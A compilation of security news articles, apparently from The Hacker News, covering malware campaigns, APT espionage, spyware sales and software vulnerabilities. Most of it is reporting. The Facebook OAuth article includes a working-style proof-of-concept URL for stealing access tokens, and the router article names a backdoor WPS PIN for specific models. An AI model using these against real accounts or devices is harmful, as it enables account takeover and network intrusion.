'AdThief' Chinese Malware Infects Over 75,000 Jailbroken iOS devices | https://thehackernews.com/2014/08/adthief-chinese-malware-infects-over.html | If you have jailbroken your iPhone, iPad, or iPod touch and have downloaded pirated tweaks from pirated repositories, then you may be infected by "AdThief" malware, a Chinese malware that is now installed on more than 75,000 iPhone devices.
According to a recent research paper published on Virus Bulletin by the Security Researcher Axelle Apvrille, the malware, also known as "spad," was first discovered by security researcher Claud Xiao in March this year.
Till now, AdThief aka Spad malware has hijacked an estimated 22 million advertisements and stealing revenue from developers on the iOS jailbreak community, Axelle Apvrille says.
The malware allegedly infects iOS jailbroken devices by disguising itself as Cydia Substrate extension, presents only on jailbroken Apple devices, when a malware infected Cydia package is downloaded and installed by the unsuspecting user.
Once installed, the malware modifies certain advertisements displayed on your iOS devices in an effort to redirect all the revenues to malware developer. In short, if you download or install a free ad-supported iOS app from the App Store, all of the cash generated by that app goes to the cyber criminal behind AdThief rather than the app's developer.
"In other words, each time you view or click an ad on an infected device, the corresponding revenue goes to the attacker, and not to the developer or the legitimate affiliate," Apvrille said. "[AdThief] hooks various advertisement functions and modifies the developer ID (promotion ID) to match that of the attacker."
Adthief has targeted advertisements from 15 popular mobile advertising networks, including Google's AdMob and Mobile Ads, AdWhirl, MdotM, and MobClick, four of which were based in the US, two in India and the remainder in China.
The security researcher was able to identify the targets because the hacker mistakenly forgot to remove identifying information from the code. Further investigation allowed Apvrille to identify the coder who ran a blog providing details of various Android hacks, a Github and inactive Twitter account. Researcher located a Chinese vxer Rover 12421 who admitted writing the AdThief code but denied propagating it.
According to the researcher, the number of infected devices by the malware is small if compared to the figure of iOS devices in use, attackers likely generated significant revenue with an estimated 22 million advertisements hijacked.
The most important thing about this particular hack is that there is no way to find out if your device is infected by AdThief malware, because it runs in the background and is almost impossible to detect. Users of unmodified iOS devices need not to worry as they are safe from this malware infection.
Users of jailbroken Apple iOS devices are recommended to avoid downloads from untrusted repositories. Always be careful about adding new sources, and also be suspicious of those sources that promise pirated downloads of paid apps or tweaks.
| Malware |
Importance of Logs and Log Management for IT Security | https://thehackernews.com/2013/10/importance-of-logs-and-log-management.html | IT Security is the name of the game and no matter how big or small the size of your organization, you will always invest enough on securing certain aspects of your IT network. In many organizations, it starts with monitoring your network for vulnerabilities that may enter the network to access potentially sensitive information in the form of security attacks.
For example, you may have firewalls as your first line of defense, followed by vulnerability management, intrusion detection and prevention systems, managing your network configurations and so on.
These are crucial because:
Your routers can be easily breached without proper configuration and restrictions.
If a firewall isn't configured correctly, a hacker can easily spot a port that is accidentally left open and can gain access to the network.
Rogue access points, botnet malware and social engineering can make your wireless a porthole into your LAN.
Why Logs?
The very purpose of IT security is to be proactive and the above measures make it more difficult for someone who attempts to compromise the network. This might just not be enough and you need to able to detect the actual breaches as they are being attempted. This is where log data really help.
To expose an attack or identify the damage caused, you need to analyze the log events on your network in real-time. By collecting and analyzing logs, you can understand what transpires within your network. Each log file contains many pieces of information that can be invaluable, especially if you know how to read them and analyze them. With proper analysis of this actionable data you can identify intrusion attempts, mis-configured equipment, and many more. Also for managing compliance, especially for PCI DSS – you need to retain logs and review them.
Monitoring and Analyzing Event Logs
When you know what is normal on your network, you can easily spot what is abnormal by monitoring the logon activity. It is very critical to analyze the event to understand the root cause and to make log analysis & log management more efficient, you need to collect and consolidate log data across the IT environment, and correlate events from multiple devices in real-time.
Apart from monitoring the activities across your web server, firewalls and other network devices, it becomes very crucial to monitor your workstation logs. For example, a workstation log can give you some key information like when a USB was connected, by whom and whether he belongs to the group that is authorized, etc. Log file analysis is best done with an SIEM software, when it comes to reading all of the events and being able to analyze and correlate activity across the various components of IT.
How SolarWinds Log & Event Manager can help you?
SolarWinds Log & Event Manager (LEM) completely monitor event logs across and acts as a central collection point for system log data, automatically aggregates and normalizes this data into a consistent format. LEM also performs multiple event correlation and has the distinct ability to set independent activity thresholds per event or per group to understand relationships between dramatically different activities. With its proactive approach, it helps you identify and respond to threats in real time.
Key areas where SolarWinds LEM helps you:
Monitoring Security Events: Event correlation allows you to effectively troubleshoot issues by understanding the relationship between various activities using multiple event correlations and alerts you as and when it encounters a security threat.
Threat Remediation: Active responses help you in responding timely to policy violations and troubleshooting issues. Some key active responses include:
Delete User Account and User Group
Block IP address
Log Off User
Restart/Shutdown Machine
Disable USB devices
Event forensics help you identify suspicious behavior patterns on your network.
| Vulnerability |
Microsoft Sues US Govt Over Unconstitutional Secret Data Requests | https://thehackernews.com/2016/04/microsoft-gag-orders.html | Microsoft is suing the Department of Justice (DoJ) to protest the gag order that prevents technology companies from telling their customers when their cloud data is handed over to authorities.
In layman's terms, the Electronic Communications Privacy Act (ECPA) allows the government to issue gag orders saying that the people or companies involved in a legal case cannot talk about the case or anything related to it in public.
So, the government is continuously forcing tech companies to hand over their customers' emails or personal records stored in the cloud servers without their clients' knowledge.
Microsoft has filed a lawsuit [PDF] against the DoJ, arguing that it is "unconstitutional" and violates constitutional protection of free speech to force the tech companies for not informing their customers when their stored data has been shared with authorities.
"We believe these actions violate two of the fundamental rights that have been part of this country since its founding. These lengthy and even permanent secrecy orders violate the Fourth Amendment, which gives people and businesses the right to know if the government searches or seizes their property." Brad Smith, Chief counsel at Microsoft, said in a blog post.
"They also violate the First Amendment, which guarantees our right to talk to customers about how government action is affecting their data."
According to Microsoft, the company has received nearly 2,600 gag orders in the past 18 months. Though the issue is not with the concept of government searches, but with the indefinite period of those orders.
Actually, the gag orders come with a definite time after which the company can reveal their customers if any police or FBI agent has checked or inspected their emails or files stored in the cloud.
But Microsoft said about 70 percent of all gag orders received by the company had no fixed end date, which means the company can never tell its users, even after the completion of the investigation.
"While today's lawsuit is important, we believe there's an opportunity for the Department of Justice to adopt a new policy that sets reasonable limitations on the use of these types of secrecy orders," Brad said.
The gag orders are meant to protect nation investigations, but the US government is misusing it to carry out unconstitutional secret data searches without ever telling people.
Just like Apple, it is important for Microsoft to fight and win this battle for protecting users' privacy, as well as their reputation.
| Data_Breaches |
More than 100000 Wireless Routers have Default Backdoor | https://thehackernews.com/2012/04/more-than-100000-wireless-routers-have.html | A recently reported flaw that allowed an attacker to drastically reduce the number of attempts needed to guess the WPS PIN of a wireless router isn't necessary for some Arcadyan based routers anymore.
Last year it was exposed that the WiFi Protected Setup (WPS) PIN is susceptible to a brute force attack. A design flaw that exists in the WPS specification for the PIN authentication significantly reduces the time required to brute force the entire PIN because it allows an attacker to know when the first half of the 8 digit PIN is correct.
The lack of a proper lock out policy after a certain number of failed attempts to guess the PIN on many wireless routers makes this brute force attack that much more feasible.
Some 100,000 routers of type Speedport W921V, W504V and W723V are affected in Germany alone. What makes things worse is the fact that in order to exploit the backdoor, no button has to be pushed on the device itself and on some of the affected routers, the backdoor PIN ("12345670") is still working even after WPS has been disabled by the user. The only currently known remedy for those models is to disable Wi-Fi altogether. Since all Arcadyan routers share the same software platform, more models might be affected.
Last year, Tactical Network Solutions develop and released Reaver , which is a WPA attack tool that exploits a protocol design flaw in WiFi Protected Setup (WPS). Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP.
| Vulnerability |
Hacking Team sold Spyware to 21 Countries; Targeting Journalists and Human Right Activists | https://thehackernews.com/2014/02/hacking-team-sold-spyware-to-21.html | Spying on the world by injecting sophisticated backdoors in software, systems, and mobile phones, leads to violation of the Privacy and Security of every individual. Yes, we are talking about Surveillance, but this time not about NSA.
Instead, Countries including some with poor human-rights records and a much less technically advanced nation are the likely culprits, as they apparently used commercial spyware in making surveillance capabilities that once were the exclusive expertise of the known spy agencies, such as National Security Agency (NSA) and GCHQ.
Citizen lab, a nonprofit research lab has found traces of a remote hacking tool in 21 countries, developed by Hacking Team, including Ethiopia, Sudan, Azerbaijan and Saudi Arabia, which the team had already denied back in 2013.
Hacking Team, also known as HT S.r.l, is an Italian company, which is known for its powerful surveillance software, Remote Code System (RCS) that it sells to Governments and law enforcement agencies.
Senior Counsel of Hacking Team, Eric Rabe stated that the company does not provide its products to 'repressive regimes.'
"On the issue of repressive regimes, Hacking Team goes to great lengths to assure that our software is not sold to governments that are blacklisted by the EU, the US, NATO, and similar international organizations or any "repressive regime."
Remote Control System (RCS) is a malware, can be defined as 'instrument of crime', infects computers and Smartphones in order to enable covert surveillance. The company claims that its Trojan once installed in the victims' computer, can intercept encrypted communication, including emails and Skype voice calls. Furthermore, RCS can turn on a device's webcam and microphone to spy on the user without their knowledge.
The Team prominently advertises that their RCS spyware is "untraceable" to a specific government operator and can be installed remotely. They say that it can scale up to monitor "hundreds of thousands of targets" and is capable of being deployed to Apple, Android, Symbian, and Blackberry mobile devices.
"Hacking Team has made a number of statements that seem intended to reassure the public, as well as potential regulators, that they conduct effective due diligence and self-regulation regarding their clients, and the human rights impact of their products," the Citizen Lab researchers report on Monday. "They also market their RCS product as untraceable. Our research suggests that both of these claims ring hollow."
The researchers at Citizen Lab have found traces of Remote Control System (RCS) by mapping the spyware's network of proxy servers, which the Hacking Team claims that RCS is "untraceable."
"Our research reveals that the RCS collection infrastructure uses a proxy-chaining technique, roughly analogous to that used by general-purpose anonymity solutions like Tor, in that multiple hops are used to anonymize the destination of information," reads the report. "Despite this technique, we are still able to map out many of these chains and their endpoints using a specialized analysis." Citizen Lab researchers explained.
On the basis of tracing endpoints of Hacking Team proxy chains, the researchers suspected that the agencies of 21 Governments are current or former Clients of RCS, and the country names are Azerbaijan, Colombia, Egypt, Ethiopia, Hungary, Kazakhstan, Korea, Malaysia, Mexico, Morocco, Nigeria, Oman, Panama, Poland, Saudi Arabia, Sudan, Thailand, Turkey, UAE, Uzbekistan, including Italy which is the homeland of the Hacking Team.
The Governments are targeting for political advantage, including the US-based news Organization, rather than using it for legitimate law enforcement operations.
According to researchers at Citizen Lab, The No.1 suspect is Ethiopian Government, that used the hacking tool created by Hacking Team to carry out the spying operation against the Ethiopian journalists in the United States and Europe.
Hacking Team to Citizen Lab:
"We have established an outside panel of technical experts and legal advisors, unique in our industry that reviews potential sales. This panel reports directly to the board of directors regarding proposed sales."
However The FBI, which investigates Computer crimes, declined to comment on the Citizen Lab report, but an activist at the Electronic Frontier Foundation (EFF) and an expert in surveillance technology, Eva Galperin said that:
"If the Ethiopian government is not a Hacking Team customer, then I would sure like to know how their tools wound up being used to spy on Ethiopian journalists."
| Malware |
Iranian APT Group Targets Governments in Kuwait and Saudi Arabia | https://thehackernews.com/2020/05/iran-hackers-kuwait.html | Today, cybersecurity researchers shed light on an Iranian cyber espionage campaign directed against critical infrastructures in Kuwait and Saudi Arabia.
Bitdefender said the intelligence-gathering operations were conducted by Chafer APT (also known as APT39 or Remix Kitten), a threat actor known for its attacks on telecommunication and travel industries in the Middle East to collect personal information that serves the country's geopolitical interests.
"Victims of the analyzed campaigns fit into the pattern preferred by this actor, such as air transport and government sectors in the Middle East," the researchers said in a report (PDF) shared with The Hacker News, adding at least one of the attacks went undiscovered for more than a year and a half since 2018.
"The campaigns were based on several tools, including 'living off the land' tools, which makes attribution difficult, as well as different hacking tools and a custom-built backdoor."
Known to be active since 2014, the Chafer APT has previously taken aim at Turkish government organizations and foreign diplomatic entities based in Iran with the goal of exfiltrating sensitive data.
A FireEye report last year added to growing evidence of Chafer's focus on telecommunications and travel industries. "Telecommunications firms are attractive targets given that they store large amounts of personal and customer information, provide access to critical infrastructure used for communications, and enable access to a wide range of potential targets across multiple verticals," the company said.
APT39 compromises its targets via spear-phishing emails with malicious attachments and using a variety of backdoor tools to gain a foothold, elevate their privileges, conduct internal reconnaissance, and establish persistence in the victim environment.
What makes the Kuwait attack more elaborate, according to Bitdefender, is their ability to create a user account on the victims' machine and perform malicious actions inside the network, including network scanning (CrackMapExec), credential harvesting (Mimikatz), and move laterally inside the networks using a wide arsenal of tools at their disposal.
Most activity occurs on Friday and Saturday, coinciding with the weekend in the Middle East, the researchers said.
The attack against a Saudi Arabian entity, on the other hand, involved the use of social engineering to trick the victim into running a remote administration tool (RAT), with some of its components sharing similarities with those used against Kuwait and Turkey.
"While this attack was not as extensive as the one in Kuwait, some forensic evidence suggests that the same attackers might have orchestrated it," the researchers said. "Despite the evidence for network discovery, we were not able to find any traces for lateral movement, most probably because threat actors were not able to find any vulnerable machines."
The attacks against Kuwait and Saudi Arabia are a reminder that Iran's cyber espionage efforts have shown no sign of slowing down. Given the crucial nature of the industries involved, Chafer's actions continue the trend of striking countries that act against its national ambitions.
"While these two are the most recent attack examples happening in the Middle East, it is important to understand that this type of attack can happen anywhere in the world, and critical infrastructures like government and air transportation remain very sensitive targets," Bitdefender said.
| Cyber_Attack |
Critical buffer overflow vulnerability in Photoshop CS6 | https://thehackernews.com/2012/09/critical-buffer-overflow-vulnerability.html | Adobe has released an update for Photoshop CS6 that closes a critical heap-based buffer overflow vulnerability (CVE-2012-4170) in its popular graphics editing program. Both the Mac and Windows versions of Photoshop CS6 (aka Photoshop 13.0) contain a critical vulnerability that could allow an attacker to take control of affected systems.
Furthermore, company officials say Adobe is unaware of any attacks against this vulnerability.That said, the Photoshop 13.0.1 update contains 75 other bug fixes, including 31 for problems known to cause crashes, 18 pertaining to 3D features, and 15 for drawing and graphics features.
Adobe said that users and administrators can download and install the patch by lunching the "update" tool within the Photoshop help menu.The company credited a pair of Secunia researchers in discovering and reporting the flaw directly.
According to a Secunia advisory, the problem is caused by a boundary error in the "Standard MultiPlugin.8BF" module when processing certain PNG image files. Both Windows and Mac OS X versions of Photoshop CS6 (13.0) are affected and upgrading to the new 13.0.1 release fixes the problem.
| Vulnerability |
Japanese word processor 'Ichitaro' zero-day attack discovered in the wild | https://thehackernews.com/2013/11/Japanese-Ichitaro-zero-day-vulnerability-CVE-2013-5990.html | Japanese most popular word processing software 'Ichitaro' and Multiple Products are vulnerable to a zero day Remote Code Execution Flaw Vulnerability, allowing the execution of arbitrary code to compromise a user's system.
According to assigned CVE-2013-5990, malicious attacker is able to gain system access and execute arbitrary code with the privileges of a local user.
The vulnerability is caused due to an unspecified error when handling certain document files. "We confirm the existence of vulnerabilities in some of our products." company blog says.
In a blog post, Antivirus Firm Symantec confirmed that in September 2013, they have discovered attacks in the wild attempting to exploit this vulnerability during, detected as Trojan.Mdropper, which is a variant of Backdoor.Vidgrab.
Researchers mentioned that Backdoor.Vidgrab variant was used as a payload for a watering hole attack exploiting the Microsoft Internet Explorer Memory Corruption Vulnerability (CVE-2013-3893), which was patched in October 2013.
According to them, it is reasonable to assume that the same malware group, or another group with close connections, is behind the attacks that utilized the Internet Explorer and Ichitaro vulnerabilities.
"Backdoor.Vidgrab is known to be used to target the Asia-Pacific region with government sectors being the primary targets."
Vulnerable products:
JustSystems Ichitaro 2010
JustSystems Ichitaro 2011
JustSystems Ichitaro 2011 Sou
JustSystems Ichitaro 2012 Shou
JustSystems Ichitaro 2013 Gen
JustSystems Ichitaro 2013 Gen Trial
JustSystems Ichitaro Government 2009
JustSystems Ichitaro Government 2010
JustSystems Ichitaro Government 6
JustSystems Ichitaro Government 7
JustSystems Ichitaro Government 2006
JustSystems Ichitaro Government 2007
JustSystems Ichitaro Government 2008
JustSystems Ichitaro Portable with oreplug
JustSystems Ichitaro Pro
JustSystems Ichitaro Pro 2 Trial
JustSystems Ichitaro Pro 2
JustSystems Ichitaro Viewer
Attackers are distributing malware with spear phishing attack, as email attachments with the Ichitaro file extension .jtd, the files are actually .rtf or rich text format files. The files cannot be opened using Microsoft Word as they are designed to work only with Ichitaro.
"The attackers, possibly belonging to the APT12 group who may have also developed BackdoorVidgrab, are persistently targeting similar, if not the identical, targets by attempting to exploit Ichitaro." Symantec says.
A patch is available from the Ichitaro Web site to fix the vulnerability on the relevant products.
| Vulnerability |
Another way to hack Facebook accounts using OAuth vulnerability | https://thehackernews.com/2013/04/another-way-to-hack-facebook-accounts.html | In recent few months White hat Hacker ,'Nir Goldshlager' reported many critical bugs in Facebook OAuth mechanism, that allowed an attacker to hijack any Facebook account without user's interaction.
Another hacker, 'Amine Cherrai' reported a new Facebook OAuth flaw, whose exploitation is actually very similar to Nir Goldshlager's findings but with a new un-patched way.
Before reading further, I would like to suggest you to read following post to understand the basic exploitation mechanism:
Facebook OAuth flaw allows gaining full control over any Facebook account
Facebook hacking accounts using another OAuth vulnerability
URL Redirection flaw in Facebook apps push OAuth vulnerability again in action
Now, if you are aware about the vulnerability used against Facebook OAuth in redirect_uri parameter in the URL, there is another way that Amine Cherrai found, to bypass the patch applied by Facebook security team.
He found another file on Facebook, that allow redirection to steal access_token of victim's accounts. i.e https://facebook.com/connect/xd_arbiter.php?#&origin=https://facebook.com/” . Successful exploitation once again allowed hacker to hijack Facebook accounts using OAuth Flaw.
Proof of concept :
https://facebook.com/dialog/oauth?client_id=350685531728&response_type=token&display=page&redirect_uri=http%3A%2F%2Ftouch.facebook.com%2Fconnect%2Fxd_arbiter.php%3F%23%21%2Fapps%2Fmidnighthack%2F%3F%26origin%3Dhttp%3A%2F%2Ffacebook.com%2F
Video Demonstration:
By the way this bug was closed by Facebook Security Team few days back and your social accounts are once again secured, till next finding !
| Vulnerability |
Chinese Trojans Gh0stRAT used to attack pro-Tibet organisations | https://thehackernews.com/2012/03/chinese-trojans-gh0strat-used-to-attack.html | Chinese Trojans Gh0stRAT used to attack pro-Tibet organisations
AlienVault has discovered a range of spear phishing attacks taking place against a number of Tibetan organizations apparently from Chinese attackers. The security firm believes that the attacks are originating from the same Chinese group that launched the Nitro attacks last year and and signal a serious escalation into cyberwar from the 'cold war' that has existed between the two countries since the occupation by the Chinese army in 1950.
The new attack uses a malicious Word attachment sent by email to organisations including the Central Tibet Administration and International Campaign for Tibet using English-language subject lines promoting a Tibetan religious festival. The attacks were given the name Nitro, and they leveraged Phishing and a PDF exploit to target a vulnerability in Windows (CVE-2010-3333).
The malicious payload being delivered in this latest attack is a variant of Gh0stRAT, which exploits a known Office vulnerability. "It is no surprise that Tibetan organisations are being targeted they have been for years and we continue to see Chinese actors breaking into numerous organisations with impunity," said Alien Vault's Jaime Blasco. The malware was digitally signed to give it an extra layer of authenticity, although the certificate was revoked by VeriSign on 12 December 2011.
The malware code methodology isn't particularly sophisticated and uses particular techniques in order to hide from anti-virus software but specifically targets other anti-virus software. He also said that this attack uses command-and-control servers to allow cyber criminals to gain remote control of infected machines as well as let them change the structure and purpose of the malware program code remotely.
| Malware |
Reality Based Cyber Crime Novella Explores Aftermath of Stuxnet Attack On Iran | https://thehackernews.com/2011/10/reality-based-cyber-crime-novella.html | Reality Based Cyber Crime Novella Explores Aftermath of Stuxnet Attack On Iran
GRAND RAPIDS – Cyber Styletto is a new novella by a journalist, a writer, and a security expert who have pooled their talents to create an enthralling good read that is future forward and predictive. The facts are based on real vulnerabilities in the way the Internet is constructed.
Recent cyber security attacks using sophisticated malware (think Stuxnet) and social engineering techniques have raised the bar for defenders. Cyber Styletto pivots off these cyber events to educate and entertain. It is written as fact-based fiction.
The story comes from the minds of Gian DeTorre and Mike Brennan. DeTorre is the pen name of an award winning fiction writer and literary critic whose stories and reviews have been published worldwide.
"Cyber Styletto is a new genre in literature, bringing the modern, secretive world of cyber espionage together with a good, old-fashioned thriller," DeTorre said. I hope our audience has as much fun reading it as we had producing it.
Brennan has been a journalist for more than thirty years covering science, technology, and business for newspapers in the US. For the past decade he has been editor and publisher of MITechNews.Com.
The cyber security technology featured in the novella has been verified by security expert Richard Stiennon, Chief Research Analyst at IT-Harvest. Stiennon has been in the security field since 1995. He is the author of "Surviving Cyberwar" and technology consultant to Cyber Styletto, the first of a series of novellas that will chronicle today's very dangerous Internet world.
"Sometimes it is difficult to explain the complexity of advanced cyber attacks. Cyber Styletto succeeds in highlighting the potential for abuse of our networked world by bad actors; and it does so in an entertaining good read!"
Added Brennan: "When I started working with Richard more than a year ago on what we thought would be a great science fiction tale, we had no idea that when we published it our fiction would turn to fact," Brennan said. "Our plot and many of the characters are ripped from today's headlines. The novella morphed from a good story to a great read when Gian joined the team. We believe we have written a story every cyber security professional and government policy makers should read carefully."
The eBook sells for $2.99 and is available at Smashwords.Com
The paperback sells for $13.37 and is available at LuLu.Com
You can reach Brennan via phone at (616) 205-4320.
An illustrated paperback version will be released late summer.
Cyber Styletto: Read it, learn it, stay secure.
| Malware |
U.S. Believes Russian Spies Used Kaspersky Antivirus to Steal NSA Secrets | https://thehackernews.com/2017/10/kaspersky-nsa-spying.html | Do you know—United States Government has banned federal agencies from using Kaspersky antivirus software over spying fear?
Though there's no solid evidence yet available, an article published by WSJ claims that the Russian state-sponsored hackers stole highly classified NSA documents from a contractor in 2015 with the help of a security program made by Russia-based security firm Kaspersky Lab.
Currently, there is no way to independently confirm if the claims on the popular security vendor published by the Wall Street Journal is accurate—and the story does not even prove the involvement of Kaspersky.
"As a private company, Kaspersky Lab does not have inappropriate ties to any government, including Russia, and the only conclusion seems to be that Kaspersky Lab is caught in the middle of a geopolitical fight," Kaspersky said in a statement.
The NSA contractor working with the American intelligence agency, whose identity has not yet been disclosed, reportedly downloaded a cache of highly classified information from government systems and moved it to a personal computer at home, which is clear violation of known security procedures.
Citing some anonymous sources, the Journal says that the targeted computer was running Kaspersky antivirus—the same app the U.S. Department of Homeland Security (DHS) recently banned from all government computer systems over spying fear.
The classified documents taken to home by the contractor contained details about how the NSA breaks into foreign computer networks for cyber espionage operations as well as defends its systems against cyber attacks.
Although what role Kaspersky played in the breach is not entirely clear, US officials believe antivirus scan performed by Kaspersky Lab's security software on the contractor's computer helped Russian hackers in identifying the files containing sensitive information.
In response to the WSJ story, Kaspersky CEO Eugene Kaspersky said his company "has not been provided with any evidence substantiating the company's involvement in the alleged incident. The only conclusion sees to be that Kaspersky Lab is caught in the middle of a geopolitical fight."
Also, it is not clear exactly how the files were stolen, but it has been speculated that the antivirus' practice of uploading suspicious files (malware executables) on the company's server, located in Russia, may have granted the Russian government access to the data.
Another possibility is that Russian hackers stole the confidential data by exploiting vulnerabilities in Kaspersky Lab software installed on the targeted system, according to the person, who asked not to be identified.
"Now, if we assume that what is reported is true: that Russian hackers exploited a weakness in our products installed on the PC of one of our users, and the government agencies charged with protecting national security knew about that, why didn't they report it to us?" Kaspersky said.
"We patch the most severe bugs in a matter of hours; so why not make the world a bit more secure by reporting the vulnerability to us? I cannot imagine an ethical justification for not doing so."
This breach of NSA classified files, which is being called "one of the most significant security breaches in recent years," was occurred in 2015, but detected in 2016.
However, it is not clear whether this security incident has any ties to the Shadow Brokers campaign, an ongoing public leak of NSA hacking tools that many officials and experts have linked to the Russian government.
It is another embarrassing breach for the NSA, which has long struggled with contractor security—starting from Edward Snowden to Harold Thomas Martin and Reality Winner.
| Cyber_Attack |
Massive cyber attack on South Korean banks and TV broadcasters | https://thehackernews.com/2013/03/massive-cyber-attack-on-south-korean.html | Computer networks at major South Korean banks and top TV broadcasters crashed simultaneously Wednesday, during a Massive cyber attack. South Korean police investigating reports from several major broadcasters and banks.
least three broadcasters KBS, MBC and YTN and the Shinhan and Nonghyu banks reported that their computer networks had been crached. The state-run Korea Information Security Agency said that Screens went blank at 2 p.m. and more than seven hours later some systems were still down.
The take down was apparently not from a distributed denial-of-service (DDOS) attack, but a virus that has apparently infected machines in these organizations and delivered its payload simultaneously.
An official at the Korea Communications Commission said investigators speculate that malicious code was spread from company servers that send automatic updates of security software and virus patches.
The Associated Press says:
"The latest network paralysis took place just days after North Korea accused South Korea and the U.S. of staging a cyber attack that shut down its websites for two days last week. Loxley Pacific, the Thailand-based Internet service provider, confirmed the North Korean outage but did not say what caused it.
"The South Korean shutdown did not affect government agencies or potential targets such as power plants or transportation systems, and there were no immediate reports that bank customers' records were compromised, but the disruption froze part of the country's commerce."
The Korea Internet Security Agency, a state watchdog, said it had recorded 40,000 cases of cyber attacks from foreign and domestic sources in 2012, up sharply from 24,000 in 2008.
Some banking services, such as ATM and online banking, were adversely affected by the shutdowns, though the banks are reporting that those services have been restored.
South Korean President Park Geun Hye has put together a cyber security team to look into whether North Korea is the culprit behind today's attacks.
| Cyber_Attack |
Chinese Hackers exploiting Internet Explorer Zero Day vulnerability for Cyber Espionage | https://thehackernews.com/2012/12/chinese-hackers-exploiting-internet.html | Web site for the Council on Foreign Relations was compromised and recently hit by a drive-by attack that was detected earlier this week. Hacker are suspected to be from China , who are exploiting a zero day Internet Explorer vulnerability for Cyber Espionage attack against one of American most elite foreign policy web groups.
According to Fireeye researchers, a malicious content on the website was hosted by hackers, that is exploiting Internet Explorer version 8.0 (fully patched version) to hack windows systems of visitors. "We have chosen not to release the technical details of this exploit, as Microsoft is still investigating the vulnerability at this time."
Once the system compromised, hackers look for valuable information from their computers, kinda Cyber Espionage. The FBI was notified of the attack and is said to be investigating. The CFR is one of the most elite foreign policy organizations in the United States with a membership of some 4,700 officials, former officials, journalists, and others. Its members include NBC anchor Brian Williams, Hollywood actress Angelina Jolie, and former Sen.
Firm also confirm that the malicious code was planted on the server using Mandarin Chinese language. In description parameter of MD5 of malicious files, they found simplified Chinese <文件说明> , that translates to <File Description>.
The securty specialists believe the attackers either removed their malicious software to prevent further details of the attack from being discovered, or CFR was able to isolate the software and remove it.
A similar Internet Explorer vulnerability was behind the major Aurora cyber attack on Google and other U.S. corporations that began in 2009 and was traced to China's government.
David Mikhail, a Council on Foreign Relations spokesman, "The Council on Foreign Relations' website security team is aware of the issue and is currently investigating the situation," "We are also working to mitigate the possibility for future events of this sort."
| Vulnerability |
Multiple Cross Site Scripting ( #XSS ) Vulnerabilities in Forbes | https://thehackernews.com/2012/01/multiple-cross-site-scripting-xss.html | Multiple Cross Site Scripting ( #XSS ) Vulnerabilities in Forbes
Ucha Gobejishvili (longrifle0x) , A Georgian Security Researcher Discover two Cross Site Scripting ( XSS ) Vulnerabilities on the Official website of Forbes, an American publishing and media company. Cross-Site Scripting occurs when an attacker can send a malicious script to a different user by relaying the script from an otherwise trusted or innocuous server. These flaws are extensive on the Web and allow an attacker to place malicious code that can execute attacks against other users in the security context of the web servers of the trusted host.
1.) First Vulnerable Link : Click Here
2.) Second Vulnerable Link : Click Here
Cross-Site Scripting typically involves executing commands in a user's browser to display unintended content, or with the intent of stealing the user's login credentials or other personal information. This information can then be used by the attacker to access web sites and services for which the compromised credentials are valid (e.g., identity theft). In some cases, the attacker might be able to use this information to hijack or further compromise the user's HTTP sessions.
Recommendation for Forbes, Please Ensure that your web application validates all forms, headers, cookie fields, hidden fields, and parameters, and converts scripts and script tags to a non-executable form. Always filter data originating from outside your application by disallowing the use of special characters. Only display output to the browser that has been sufficiently encoded. When possible, avoid simple character filters and write routines that validate user input against a set of allowed, safe characters. Use regular expressions to confirm that data conforms to the allowed character set. This enhances application security and makes it harder to bypass input validation routines.
| Vulnerability |
Experts Uncover Malware Attacks Against Colombian Government and Companies | https://thehackernews.com/2021/01/experts-uncover-malware-attacks-against.html | Cybersecurity researchers took the wraps off an ongoing surveillance campaign directed against Colombian government institutions and private companies in the energy and metallurgical industries.
In a report published by ESET on Tuesday, the Slovak internet security company said the attacks — dubbed "Operation Spalax" — began in 2020, with the modus operandi sharing some similarities to an APT group targeting the country since at least April 2018, but also different in other ways.
The overlaps come in the form of phishing emails, which have similar topics and pretend to come from some of the same entities that were used in a February 2019 operation disclosed by QiAnXin researchers, and subdomain names used for command-and-control (C2) servers.
However, the two campaigns diverge in the attachments used for phishing emails, the remote access trojans (RATs) deployed, and the C2 infrastructure employed to fetch the malware dropped.
The attack chain begins with the targets receiving phishing emails that lead to the download of malicious files, which are RAR archives hosted on OneDrive or MediaFire containing various droppers responsible for decrypting and running RATs such as Remcos, njRAT, and AsyncRAT on a victimized computer.
The phishing emails cover a wide range of topics, including those about driving infractions, attend court hearings, and take mandatory COVID-19 tests, thus increasing the likelihood that unsuspecting users will open the messages.
In an alternate scenario observed by ESET, the attackers were also found to use heavily obfuscated AutoIt droppers that used shellcode to decrypt the payload and another to inject it into an already running process.
The RATs not only come with capabilities for remote control but also to spy on targets by capturing keystrokes, recording screenshots, stealing clipboard data, exfiltrating sensitive documents, and even downloading and executing other malware.
ESET's analysis also revealed a scalable C2 architecture operated using a Dynamic DNS service that allowed them to dynamically assign a domain name to an IP address from a pool of 70 different domain names and 24 IP addresses in the second half of 2020 alone.
"Targeted malware attacks against Colombian entities have been scaled up since the campaigns that were described last year," the researchers concluded. "The landscape has changed from a campaign that had a handful of C2 servers and domain names to a campaign with very large and fast-changing infrastructure with hundreds of domain names used since 2019."
| Cyber_Attack |
Critical RCE Flaw Discovered in Blockchain-Based EOS Smart Contract System | https://thehackernews.com/2018/05/eos-blockchain-smart-contract.html | Security researchers have discovered a series of new vulnerabilities in EOS blockchain platform, one of which could allow remote hackers to take complete control over the node servers running the critical blockchain-based applications.
EOS is an open source smart contract platform, known as 'Blockchain 3.0,' that allows developers to build decentralized applications over blockchain infrastructure, just like Ethereum.
Discovered by Chinese security researchers at Qihoo 360—Yuki Chen of Vulcan team and Zhiniang Peng of Core security team—the vulnerability is a buffer out-of-bounds write issue which resides in the function used by nodes server to parse contracts.
To achieve remote code execution on a targeted node, all an attacker needs to do is upload a maliciously crafted WASM file (a smart contract) written in WebAssembly to the server.
As soon as the vulnerable process parser reads the WASM file, the malicious payload gets executed on the node, which could then also be used to take control over the supernode in EOS network—servers that collect transaction information and pack it into blocks.
"With the out of bound write primitive, we can overwrite the WASM memory buffer of a WASM module instance," the duo explained in their blog post published today.
"And with the help of our malicious WASM code, we finally achieve arbitrary memory read/write in the nodeos process and bypass the common exploit mitigation techniques such as DEP/ASLR on 64-bits OS. Once successfully exploited, the exploit starts a reverse shell and connects back to the attacker."
Once the attackers gained control over the supernode, they could eventually "pack the malicious contract into the new block and further control all nodes of the EOS network."
